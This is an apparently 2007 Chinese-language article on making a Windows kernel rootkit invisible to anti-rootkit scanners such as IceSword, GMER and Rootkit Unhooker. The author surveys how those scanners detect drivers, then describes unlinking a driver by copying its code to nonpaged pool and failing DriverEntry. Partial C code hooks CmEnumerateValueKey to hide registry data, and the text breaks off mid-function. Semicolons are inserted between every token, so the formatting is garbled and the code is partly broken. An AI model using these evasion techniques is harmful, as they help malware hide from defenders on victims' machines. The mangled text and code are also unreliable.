th_decoder@126;.;com
2007;-;10;-;24
本文描述了一些方法，可以饶过目前主流的现代Anti;-;rootkit工具，包括但不限于;:
Icesword;最新版
Gmer最新版
Rootkit;unhooker;最新版
DarkSpy;最新版
AVG;Anti;-;rootkit最新版
等等
目前的anti;-;rootkit工具中，对于内核模块主要采用如下几种扫描方式;:
1.;恢复ZwQuerySystemInformation的hook;,;然后利用功能号SystemModuleInformation进行枚举
例如Icesword
2.;遍历PsLoadModuleList;,;Driver;/;Device;/;Section;Object链;,;或者TypeList链等;(;总之是找驱动相关对象;);进行枚举
例如Rootkit;Unhooker;,;Gmer等
3.;内核镜象暴力搜索;,;搜索MZ;,;PE等等标志结合进行判断内存里是否有PE镜象;,;如rootkit;unhooker;,;rutkowska的modgreper等，通常只能显示为unknow;image
4.;函数引用;,;各种routine/hook等;,;先HOOK一些常用函数，然后当驱动去调用这些函数时，记下其地址，检测时使用;,;或者是根据各种;routine;(;dispatch;routine;,;IDT;,;Image;Notfiy等;);或各种hook;(;inline;hook;,;iat;/;eat;hook等等;);，通常只能显示为unknow;image或unknow;xxx;handler等
5.;使用系统ImageLoad;Notfiy;,;使用一个BOOT驱动，记录所有模块load的消息;,;检测时进行分析;如AVG;Anti;-;rootkit等
先说饶过;1;,;2;,;3;,;5;的办法
很简单，使用诸如ZwSetSystemInformation的函数加载驱动，然后在DriverEntry中分配NonPagedPool的内存，然后将功能代码;/;函数copy到该内存中，然后进行必要的HOOK，最后返回STATUS_UNSUCCESSFULL;.
这样驱动在PsLoadModuleList、各种对象链里就消失了，自然也就不存在于ZwQuerySystemInformation枚举的列表里
需要注意的是，copy到内存中的代码要尽量简单，基本不会生成需要重定位的代码了，但调用系统函数还是要另想办法
我的某个RK里是这样做的，例如A;Function用来hook;系统函数B;,;其中需要调用系统函数C，
那么分配一块内存，大小;=;len;(;A;);+;sizeof;(;ULONG;);*;2
在内存的前两个DWORD放OrgB;,;以及C的地址，后面开始放函数代码
函数中使用call;+;5;对自身的位置进行定位，找到内存开始的位置，然后得到OrgB和C
当然也可以在COPY入内存前自己用绝对地址定位函数;~;不过不如这个方法灵活
相关代码;:
//hook;call;CmEnumerateValueKey
void;InstallCMRegHook;()
{
PVOID;_CmEnumerateKeyValueLoc
_CmEnumerateKeyValueLoc;=;FindCmEnumerateValueKey;();
//找到;call;CmEnumerateValueKey
HookCodeLen;=;(;ULONG;);NopFunc8;-;(;ULONG;);NewCmEnumerateValueKey
//获得NewCmEnumerateValueKey长度
HookCode3;=;ExAllocatePoolWithTag;(;NonPagedPool;,
HookCodeLen;+;4;,
MEM_TAG_HOOKCODE3;);
//分配内存
*(;ULONG;*);HookCode3;=;*(;ULONG;*);_CmEnumerateKeyValueLoc
//原函数地址放入内存
RtlCopyMemory;((;PVOID;);HookCode3;+;sizeof;(;ULONG;);,;(;PVOID;);NewCmEnumerateValueKey;,;HookCodeLen;);
//copy函数代码
DO_SPINLOCK;();
*(;ULONG;*);_CmEnumerateValueKeyLoc;=;HookCode3;+;sizeof;(;ULONG;);
//进行HOOK
EXIT_SPINLOCK;();
return
}
NTSTATUS;NewCmEnumearateValueKey;(;IN;PVOID;KeyControlBlock;,
IN;ULONG;Index;,
IN;KEY_VALUE_INFORMATION_CLASS;KeyValueInformationClass;,
IN;PVOID;KeyValueInformation;,
IN;ULONG;KeyLength;,
IN;PULONG;ResultLength
)
{
//下面找到本函数开始地址，并获得保存在内存中的OrgCmEnumerateValueKey的地址
标签：
